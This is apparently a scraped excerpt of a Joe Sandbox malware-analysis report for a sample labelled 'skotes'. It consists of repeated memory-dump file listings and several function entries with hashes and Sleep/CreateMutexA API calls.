Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e50bb666a7920f5da78a9311ca8c27cffe927610846e10180952ace0b635d434
Instruction ID: f156cc5cd6ca7e837488581194ae134b804bd6c85fa3f00110956812bf4567c1
Opcode Fuzzy Hash: e50bb666a7920f5da78a9311ca8c27cffe927610846e10180952ace0b635d434
Instruction Fuzzy Hash: 1A3148317042049BEB18DB7CEC957ADBBA2EF86314F248619E118D73D5C77599808772

Function 00D0A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0517fa1259c59d36c2b85dcd15a633be80f7f3f0f4afb6c209c86e3fe036edcd
Instruction ID: d7c8ce9e8f5f1b066f53cf598cb435ef0f002b4ad72db6f86c96829338140f4d
Opcode Fuzzy Hash: 0517fa1259c59d36c2b85dcd15a633be80f7f3f0f4afb6c209c86e3fe036edcd
Instruction Fuzzy Hash: 143128317003049BEB08DB7CEC85BADB7A2DF86314F248219E119973D5C77699808B72

Function 00D0A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 93459fc0aae4831f069330663e67a5802c03201b92cf8a3cc9bfc252a8c0ee7e
Instruction ID: ac767d2cf737e922115fc5e8d670f667e46c7e7e2933acd08851650477a84697
Opcode Fuzzy Hash: 93459fc0aae4831f069330663e67a5802c03201b92cf8a3cc9bfc252a8c0ee7e
Instruction Fuzzy Hash: 06312A317003049BFB08DB7CEC897ADB7A2EF86314F248219E0189B3D1D77599808776

Function 00D0A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 10c0fd0fdd592d11ca8aee3ff365e972bd5bdac381e5c22f29003987dd819b1d
Instruction ID: 628dd24868fc22c6604e79c6b6a98c7d7c2930707799b97b52b75332280e8b9b
Opcode Fuzzy Hash: 10c0fd0fdd592d11ca8aee3ff365e972bd5bdac381e5c22f29003987dd819b1d
Instruction Fuzzy Hash: 47310B31B003049BEB08DB7CE889BADB762DF86314F288219E11D972D5D7B599808676

Function 00D0A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2f8d336a6e6787b556505a32e5b23feff7232d4cee32ad6b439ac7bc23763bfb
Instruction ID: 36a32f5488b156eb7d83ddd624edef668f364270181c9a47d78542c9fb8c8292
Opcode Fuzzy Hash: 2f8d336a6e6787b556505a32e5b23feff7232d4cee32ad6b439ac7bc23763bfb
Instruction Fuzzy Hash: 5C312C317003049BEB08DB7CEC99BADB772EF86318F288619E519973D1CB7599808772

Function 00D0A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
